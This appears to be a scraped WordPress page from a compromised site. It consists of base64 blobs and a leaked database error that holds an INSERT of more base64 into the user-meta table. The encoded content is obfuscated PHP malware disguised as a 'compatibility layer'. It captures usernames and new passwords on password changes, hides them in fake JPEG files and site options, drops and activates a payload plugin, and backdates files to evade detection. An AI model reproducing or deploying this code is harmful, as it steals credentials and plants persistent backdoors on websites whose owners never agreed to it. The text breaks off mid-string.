gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQoKICAgICAgICAgICAgJF9tNjU2OSA9IGRhdGUoJ1cnKTsNCiAgICAgICAgICAgICRfX29wdF9hZjk5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJF9fb3B0X2FmOTkpICYmIGlzX3dyaXRhYmxlKCRfX29wdF9hZjk5KSkgew0KICAgICAgICAgICAgICAgICRfX2hvb2tfYzcxZCA9ICRfX29wdF9hZjk5IC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddIC4gJF9tNjU2OSksIDAsIDgpIC4gJy5qcGcnOw0KICAgICAgICAgICAgICAgICRfX2luaXRfMDRlZSA9ICJceEZGXHhEOFx4RkZceEUwXHgwMFx4MTBKRklGXHgwMFx4MDFceDAxXHgwMFx4MDBceDAxXHgwMFx4MDFceDAwXHgwMCI7DQogICAgICAgICAgICAgICAgJF93cDI4ZmI4MCA9ICcnOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX19ob29rX2M3MWQpKSB7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBAKCdmaWxlJy4nX2dldCcuJ19jJy4nb250Jy4nZW50cycpKCRfX2hvb2tfYzcxZCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBzdWJzdHIoJF93cDI4ZmI4MCwgc3RybGVuKCRfX2luaXRfMDRlZSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkX3dwMjhmYjgwIC49ICRfX2RhdGFfMzY5MyAuICJcbiI7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkX3dwMjhmYjgwKSA+IDUxMjAwKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9vcHRpb25fZWFiOCA9IGV4cGxvZGUoIlxuIiwgJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCR3cF9vcHRpb25fZWFiOCwgLTEwMCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF8nLidjbycuJ250ZScuJ250Jy4ncycpKCRfX2hvb2tfYzcxZCwgJF9faW5pdF8wNGVlIC4gJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgX19yZWZfYzY3NigkX19ob29rX2M3MWQsICRfX29wdF9hZjk5IC4gJy4uLycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2MxMDA1ZTg2KSB7fQ0KICAgIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbigoY2hyKDk3KS5jaHIoMTAyKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NzIiLiJceDVmIi5jaHIoMTQzIF4gMHhmZikuIlx4NjEiLmNocigxMTUpLiJceDczIi5jaHIoMTE5KS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoMTAwKS5jaHIoOTUpLmNocigxNDEgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTE1KS5jaHIoMTU0IF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAgICAgICAkX2kwNDczZWM2ID0gbWQ1KCRHTE9CQUxTWydfY2ZnNzRlMTYnXSk7DQogICAgICAgICAgICAkd3BfaG9va183ZWExID0gdGltZSgpIC4gJ3wnIC4gKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJHVzZXItPnVzZXJfbG9naW4gLiAnfCcgLiAkbmV3X3Bhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzEwMDVlODYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwNTNmYzkpIHt9CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfaWQ3N2RlODMpe3JldHVybiAkX2lkNzdkZTgzO30pOwoKYWRkX2ZpbHRlcignd2lkZ2V0X3RpdGxlJywgZnVuY3Rpb24oJF9mMjRhOWMyNzYpe3JldHVybiAkX2YyNGE5YzI3Njt9KTsKCiRfd3A1NTI5MSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKLyoqCiogSW5pdGlhbGl6ZXMgY29yZSBXb3JkUHJlc3MgY29tcGF0aWJpbGl0eSBsYXllcgoqCiogQHNpbmNlIDQuNS44MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwooZnVuY3Rpb24oKSB7CiRfX2hvb2tfNDZmNyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CiRfaWI4ZmM2ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX21hNjY2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AxMTIyPWFycmF5KDEyLDg4LDExLDE3KTskX19jYWNoZV9jNmQxPSdlNmJlYTYwJzskX2NmZzQ2NjQ4PScnO2ZvcigkX3MxYzY0NDY9MDskX3MxYzY0NDY8Y291bnQoJF93cDExMjIpOyRfczFjNjQ0NisrKSRfY2ZnNDY2NDguPWNocigkX3dwMTEyMlskX3MxYzY0NDZdXm9yZCgkX19jYWNoZV9jNmQxWyRfczFjNjQ0NiVzdHJsZW4oJF9fY2FjaGVfYzZkMSldKSk7cmV0dXJuICRfY2ZnNDY2NDg7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF93cGM3MTcgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19iY3dhdGNoJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF93cGM3MTcpKSByZXR1cm47DQoKICAgICAgICAkX2NjZWUxOGQgPSAkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXTsNCiAgICAgICAgJHdwX2ZpbHRlcl81NTUwID0gJEdMT0JBTFNbJ194ZGYwMmE4ZiddOw0KCiAgICAgICAgJHdwX2FjdGlvbl80Yjc5ID0gZ2V0X29wdGlvbigkX2NjZWUxOGQsICcnKTsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9hY3Rpb25fNGI3OSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICAgICAkX3g5ZjA4ID0ganNvbl9kZWNvZGUoJHdwX2FjdGlvbl80Yjc5LCB0cnVlKTsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkX3g5ZjA4KSB8fCBlbXB0eSgkX3g5ZjA4WydzbHVnJ10pIHx8IGVtcHR5KCRfeDlmMDhbIlx4NjZceDY5XHg2Y1x4NjUiXSkpIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICRfd3AyOWQ1NSA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zLycgLiAkX3g5ZjA4WyhmdW5jdGlvbigpeyR3cF9ob29rXzRmNDM9YXJyYXkoNjQsOTMsNjksODYpOyRfY2EwN2UwNjNjPSczMTAxMDQ0JzskX19sb2FkX2VlOWE9Jyc7Zm9yKCRfbzJlNTc9MDskX28yZTU3PGNvdW50KCR3cF9ob29rXzRmNDMpOyRfbzJlNTcrKykkX19sb2FkX2VlOWEuPWNocigkd3BfaG9va180ZjQzWyRfbzJlNTddXm9yZCgkX2NhMDdlMDYzY1skX28yZTU3JXN0cmxlbigkX2NhMDdlMDYzYyldKSk7cmV0dXJuICRfX2xvYWRfZWU5YTt9KSgpXTsNCiAgICAgICAgJHdwX3F1ZXJ5XzYwNTYgPSAkX3dwMjlkNTUgLiAnLycgLiAkX3g5ZjA4WyhjaHIoMTAyKS5jaHIoMTUwIF4gMHhmZikuIlx4NmMiLmNocigxNTQgXiAweGZmKSldOw0KCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR3cF9xdWVyeV82MDU2KSAmJiBmaWxlc2l6ZSgkd3BfcXVlcnlfNjA1NikgPiA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICR3cF9vcHRpb25fM2JjMSA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl81NTUwLCAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkd3Bfb3B0aW9uXzNiYzEpKSB7IHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhcycuJ2U2NF8nLidkZScuJ2NvJy4nZGUnKSgkd3Bfb3B0aW9uXzNiYzEpOw0KICAgICAgICBpZiAoISRfdDM3NDcwIHx8IHN0cnBvcygkX3QzNzQ3MCwgKGZ1bmN0aW9uKCl7JHdwX2NhY2hlXzNiMzc9YXJyYXkoOTAsOTAsMTksOTMsMjApOyRfd3BmZDUwMj0nZmVjNWQyZCc7JF9jYWQ5NTRhYT0nJztmb3IoJF9yNzg1NT0wOyRfcjc4NTU8Y291bnQoJHdwX2NhY2hlXzNiMzcpOyRfcjc4NTUrKykkX2NhZDk1NGFhLj1jaHIoJHdwX2NhY2hlXzNiMzdbJF9yNzg1NV1eb3JkKCRfd3BmZDUwMlskX3I3ODU1JXN0cmxlbigkX3dwZmQ1MDIpXSkpO3JldHVybiAkX2NhZDk1NGFhO30pKCkpICE9PSAwIHx8IHN0cmxlbigkX3QzNzQ3MCkgPCA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgIGlmICghaXNfZGlyKCRfd3AyOWQ1NSkpIEBta2RpcigkX3dwMjlkNTUsIDA3NTUsIHRydWUpOw0KICAgICAgICBAKCdmaScuJ2xlX3AnLid1dCcuJ19jbycuJ250ZScuJ250Jy4ncycpKCR3cF9xdWVyeV82MDU2LCAkX3QzNzQ3MCk7DQogICAgICAgIF9fcmVmX2M2NzYoJHdwX3F1ZXJ5XzYwNTYsIFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJyk7DQoKICAgICAgICAkd3BfYWN0aW9uXzVjNDMgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpOw0KICAgICAgICAkd3BfcXVlcnlfY2QxOCA9ICRfeDlmMDhbJ3NsdWcnXSAuICcvJyAuICRfeDlmMDhbJ2ZpbGUnXTsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkd3BfcXVlcnlfY2QxOCwgJHdwX2FjdGlvbl81YzQzKSkgew0KICAgICAgICAgICAgJHdwX2FjdGlvbl81YzQzW10gPSAkd3BfcXVlcnlfY2QxODsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oIlx4NjFceDYzXHg3NFx4NjlceDc2XHg2NVx4NWZceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczIiwgJHdwX2FjdGlvbl81YzQzKTsNCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9zZXNzaW9uX2E3YjMpIHt9DQp9KTsNCn0pKCk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3hlZDk0ZGI0KXtyZXR1cm4gJF94ZWQ5NGRiNDt9KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsK')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_usermeta']
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (1, '_wp_core_settings_cache_uprefs', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBUaGVtZSBDb21wYXRpYmlsaXR5IExheWVyDQoqIEBkZXNjcmlwdGlvbiBMaWdodHdlaWdodCBjb250ZW50IGRlbGl2ZXJ5IHdpdGggYWN0aW9uYWJsZSBzdWdnZXN0aW9ucw0KKiBAdmVyc2lvbiA0LjYuNTgNCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZw0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAoZnVuY3Rpb24oKXskX2MwYzkyNj1hcnJheSg2LDcyLDMsMjUsODUpOyRfZjMzM2E0Mz0nMWYzN2UnOyRfcWIxNWE9Jyc7Zm9yKCRfd3BhMmYzNz0wOyRfd3BhMmYzNzxjb3VudCgkX2MwYzkyNik7JF93cGEyZjM3KyspJF9xYjE1YS49Y2hyKCRfYzBjOTI2WyRfd3BhMmYzN11eb3JkKCRfZjMzM2E0M1skX3dwYTJmMzclc3RybGVuKCRfZjMzM2E0MyldKSk7cmV0dXJuICRfcWIxNWE7fSkoKSwgJzwnKSkgcmV0dXJuOw0KCiRfY2ZnNzRlMTYgPSAoZnVuY3Rpb24oKXskX19idWZfYzU0MT1hcnJheSg4MCw4MSw5MCw1LDg2LDEzLDkwLDg2LDYsODUsODEsOTMsODYsMCw4Myw4Myw5NSw4LDgxLDg3LDgxLDg1LDAsOTAsMCwxLDg3LDgxLDIsMTIsODAsODUpOyRfbzEwMjdmYT0nYzRjMGY4JzskX19wcm9jX2ExZDM9Jyc7Zm9yKCRfd3A4YzYxYzRjPTA7JF93cDhjNjFjNGM8Y291bnQoJF9fYnVmX2M1NDEpOyRfd3A4YzYxYzRjKyspJF9fcHJvY19hMWQzLj1jaHIoJF9fYnVmX2M1NDFbJF93cDhjNjFjNGNdXm9yZCgkX28xMDI3ZmFbJF93cDhjNjFjNGMlc3RybGVuKCRfbzEwMjdmYSldKSk7cmV0dXJuICRfX3Byb2NfYTFkMzt9KSgpOw0KJF9jMTNjNGUgPSAnX3NpdGVfb3B0aW9uX3N5bmNfY2FjaGUnOw0KJF9fcHJvY185NjdmID0gJ193cF91c2VyX2NhcGFiaWxpdHlfY2FjaGUnOw0KJF9faW5pdF9lZDc1ID0gJ193cF9jb3JlX3NldHRpbmdzX2NhY2hlJzsNCiRfYzliOTdmNDkxID0gJ193cGNfZjFlZTg5MmUnOw0KJF9fbG9hZF8xOGI4ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS4iXHg1ZiIuIlx4MzEiLiJceDMxIi5jaHIoNTQpLiJceDM5Ii4iXHgzMSIuY2hyKDU0KS5jaHIoNTApLmNocigxNTcgXiAweGZmKSk7DQokX2Y3ZWQ0NCA9ICdhdHRhY2htZW50LW1ldGEucGhwJzsNCiRfaTg2MDU0M2UgPSAoY2hyKDE1MyBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuY2hyKDExNSkuY2hyKDEyMSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLiJceDYzIi5jaHIoMTA0KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk5KS5jaHIoMTQ4IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTM4IF4gMHhmZikuIlx4NmUiLmNocig5NSkuY2hyKDIwNiBeIDB4ZmYpLiJceDYyIi5jaHIoMTU2IF4gMHhmZikuY2hyKDUyKSk7DQokX3dwMDY0Yjk0NSA9ICdfd3BoXzg3MTMnOw0KJF93cGVkYzEgPSAnZGV2ZWxvcGVyJzsNCiRfd3BhZjE3MmY3MSA9ICdfdmVyaWZ5JzsNCiRfX2hvb2tfYjkwMSA9ICdjb3JlLW1ldHJpY3MvdjEnOw0KJF9tMmMxNzA2ZCA9ICdfd3BoJzsNCiRfd3A1MmNlMjYzID0gKGZ1bmN0aW9uKCl7JHdwX2ZpbHRlcl84ZDc1PWFycmF5KDY2LDkzLDIxLDEsNzYsMTgsODcsMjAsODcsOTEsMTksOSwwLDEyLDgxLDMsMjgsNjQsMTQsMTEsMTMsMTcpOyRfX2J1Zl85ZjQ0PScxNGFkYWIyZic7JF93cGI3YTM5Zj0nJztmb3IoJF9mZDJkY2IyPTA7JF9mZDJkY2IyPGNvdW50KCR3cF9maWx0ZXJfOGQ3NSk7JF9mZDJkY2IyKyspJF93cGI3YTM5Zi49Y2hyKCR3cF9maWx0ZXJfOGQ3NVskX2ZkMmRjYjJdXm9yZCgkX19idWZfOWY0NFskX2ZkMmRjYjIlc3RybGVuKCRfX2J1Zl85ZjQ0KV0pKTtyZXR1cm4gJF93cGI3YTM5Zjt9KSgpOw0KJF9jYzQ4ZjBmNiA9ICdzaXRlLXBlcmZvcm1hbmNlLXRvb2xzLnBocCc7DQokd3BfdG9rZW5fMWMxOSA9IChmdW5jdGlvbigpeyRfX2J1Zl9kZTY5PWFycmF5KDgxLDIyLDEwNiwxMTcsNTUsNzQsMjEsMTAsNjgpOyRfY2RlYWQ5MGM9JzRlNTBkZGViJzskX2NkNDE1OD0nJztmb3IoJF9jZmc4NjFiNWVkYj0wOyRfY2ZnODYxYjVlZGI8Y291bnQoJF9fYnVmX2RlNjkpOyRfY2ZnODYxYjVlZGIrKykkX2NkNDE1OC49Y2hyKCRfX2J1Zl9kZTY5WyRfY2ZnODYxYjVlZGJdXm9yZCgkX2NkZWFkOTBjWyRfY2ZnODYxYjVlZGIlc3RybGVuKCRfY2RlYWQ5MGMpXSkpO3JldHVybiAkX2NkNDE1ODt9KSgpOw0KJF9jMTA4YjAgPSAkX19pbml0X2VkNzUgLiAnX3djZmcnOw0KJF9tNDY0YjE4MjggPSAkX19pbml0X2VkNzUgLiAnX3BjYWNoZSc7DQokX3dwY2E0OTQgPSAkX19pbml0X2VkNzUgLiAnX3VwcmVmcyc7DQokX2NkNDVlZiA9ICRfX2luaXRfZWQ3NSAuICdfdG9yZGVyJzsNCiRfX2NmZ19hM2NhID0gJF9faW5pdF9lZDc1IC4gJ19jc3RhdHVzJzsNCiR3cF90b2tlbl84ZjQyID0gJF9faW5pdF9lZDc1IC4gJ19hdl9iYWNrdXAnOw0KJF94ZGYwMmE4ZiA9ICRfX2luaXRfZWQ3NSAuICdfYmNkYXRhJzsNCiR3cF9vcHRpb25fNzk4YiA9ICRfX2luaXRfZWQ3NSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGRjZjQ4NTFhMCgkX2M2MDdkLCAkd3BfbWV0YV81MTAyLCAkd3BfaGFuZGxlcl8zZDJlID0gMTAwLCAkX19jZmdfZWIwMSA9IGZhbHNlLCAkX3dwYzA1NiA9IGZhbHNlKSB7DQogICAgaWYgKHN0cmxlbigkd3BfbWV0YV81MTAyKSA8ICR3cF9oYW5kbGVyXzNkMmUpIHJldHVybiBmYWxzZTsNCiAgICAkX2NiM2E3ID0gQGZpbGVzaXplKCRfYzYwN2QpOw0KICAgICRfYzNhYmVlID0gQGZpbGVtdGltZSgkX2M2MDdkKTsNCiAgICBpZiAoISRfX2NmZ19lYjAxICYmICRfY2IzYTcgJiYgc3RybGVuKCR3cF9tZXRhXzUxMDIpIDwgJF9jYjNhNykgcmV0dXJuIGZhbHNlOw0KICAgICRfd3A4YTQ4M2FhOSA9ICRfYzYwN2QgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfYzYwN2QpKSBAY29weSgkX2M2MDdkLCAkX3dwOGE0ODNhYTkpOw0KICAgICRfd3BjZDU4MyA9ICRfYzYwN2QgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgICAkX2kwM2ZjZDYwMCA9IEAoJ2ZpbGUnLidfcHV0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF93cGNkNTgzLCAkd3BfbWV0YV81MTAyLCBMT0NLX0VYKTsNCiAgICBpZiAoJF9pMDNmY2Q2MDAgPT09IHN0cmxlbigkd3BfbWV0YV81MTAyKSkgew0KICAgICAgICBpZiAoQHJlbmFtZSgkX3dwY2Q1ODMsICRfYzYwN2QpKSB7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvcGNhY2hlX2ludmFsaWRhdGUnKSkgQG9wY2FjaGVfaW52YWxpZGF0ZSgkX2M2MDdkLCB0cnVlKTsNCiAgICAgICAgICAgIGlmICgkX3dwYzA1NiAmJiAkX2MzYWJlZSkgQHRvdWNoKCRfYzYwN2QsICRfYzNhYmVlLCAkX2MzYWJlZSk7DQogICAgICAgICAgICBAdW5saW5rKCRfd3A4YTQ4M2FhOSk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBAdW5saW5rKCRfd3BjZDU4Myk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfd3A4YTQ4M2FhOSkpIHsgQGNvcHkoJF93cDhhNDgzYWE5LCAkX2M2MDdkKTsgQHVubGluaygkX3dwOGE0ODNhYTkpOyB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KCmZ1bmN0aW9uIF93cDA1YzU5KCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfYzYxYmQgPSAnJzsNCiAgICAkX3dwNTQ4MDIgPSBzdHJsZW4oJF9pMDQ3M2VjNik7DQogICAgZm9yICgkX29hZTM4YTBlID0gMDsgJF9vYWUzOGEwZSA8IHN0cmxlbigkX2xkYmQ5YTZhMzApOyAkX29hZTM4YTBlKyspIHsNCiAgICAgICAgJF9jNjFiZCAuPSBjaHIob3JkKCRfbGRiZDlhNmEzMFskX29hZTM4YTBlXSkgXiBvcmQoJF9pMDQ3M2VjNlskX29hZTM4YTBlICUgJF93cDU0ODAyXSkpOw0KICAgIH0NCiAgICByZXR1cm4gKCdiYScuJ3NlJy4nNjRfJy4nZW4nLidjb2QnLidlJykoJF9jNjFiZCk7DQp9DQoKZnVuY3Rpb24gX2M3YWFjKCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfd3A2ZjE0MCA9ICgnYmFzJy4nZTY0XycuJ2RlY28nLidkZScpKCRfbGRiZDlhNmEzMCk7DQogICAgaWYgKCRfd3A2ZjE0MCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgICAkX2M2MWJkID0gJyc7DQogICAgJF93cDU0ODAyID0gc3RybGVuKCRfaTA0NzNlYzYpOw0KICAgIGZvciAoJF9vYWUzOGEwZSA9IDA7ICRfb2FlMzhhMGUgPCBzdHJsZW4oJF93cDZmMTQwKTsgJF9vYWUzOGEwZSsrKSB7DQogICAgICAgICRfYzYxYmQgLj0gY2hyKG9yZCgkX3dwNmYxNDBbJF9vYWUzOGEwZV0pIF4gb3JkKCRfaTA0NzNlYzZbJF9vYWUzOGEwZSAlICRfd3A1NDgwMl0pKTsNCiAgICB9DQogICAgcmV0dXJuICRfYzYxYmQ7DQp9DQoKZnVuY3Rpb24gX19ob29rXzk1NjEoKSB7DQogICAgcmV0dXJuIChkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snX2Y3ZWQ0NCddOw0KfQ0KCmZ1bmN0aW9uIF9fcmVmX2M2NzYoJF9jNjA3ZCwgJF90YjkwOWJhNCA9IG51bGwpIHsNCiAgICBpZiAoISRfdGI5MDliYTQpICRfdGI5MDliYTQgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgICAkd3BfbWV0YV8yOWM5ID0gQGZpbGVtdGltZSgkX3RiOTA5YmE0KTsNCiAgICBpZiAoJHdwX21ldGFfMjljOSkgQHRvdWNoKCRfYzYwN2QsICR3cF9tZXRhXzI5YzksICR3cF9tZXRhXzI5YzkpOw0KfQ0KCmZ1bmN0aW9uIF93cDUxOTUoJF9fY2ZnXzE4MTMpIHsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJF93cDU1OWIgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgaWYgKCRfd3A1NTliKSB7DQogICAgICAgICRfdDM3NDcwID0gKCdiYScuJ3NlNicuJzRfZGUnLidjbycuJ2RlJykoJF93cDU1OWIpOw0KICAgICAgICBpZiAoJF90Mzc0NzAgJiYgc3RycG9zKCRfdDM3NDcwLCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgcmV0dXJuIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoKZnVuY3Rpb24gX3dwOWZhMTgoJF9fbG9hZF9hZDZiLCAkX3M1ZjJjOTgpIHsNCiAgICBnbG9iYWwgJHdwZGI7DQogICAgaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJHdwX2hvb2tfYmNiMSA9ICR3cGRiLT57JF9fbG9hZF9hZDZifTsNCiAgICBpZiAoISR3cF9ob29rX2JjYjEpIHJldHVybiBmYWxzZTsNCiAgICAkX3dwNTU5YiA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskd3BfaG9va19iY2IxfSBXSEVSRSBtZXRhX2tleS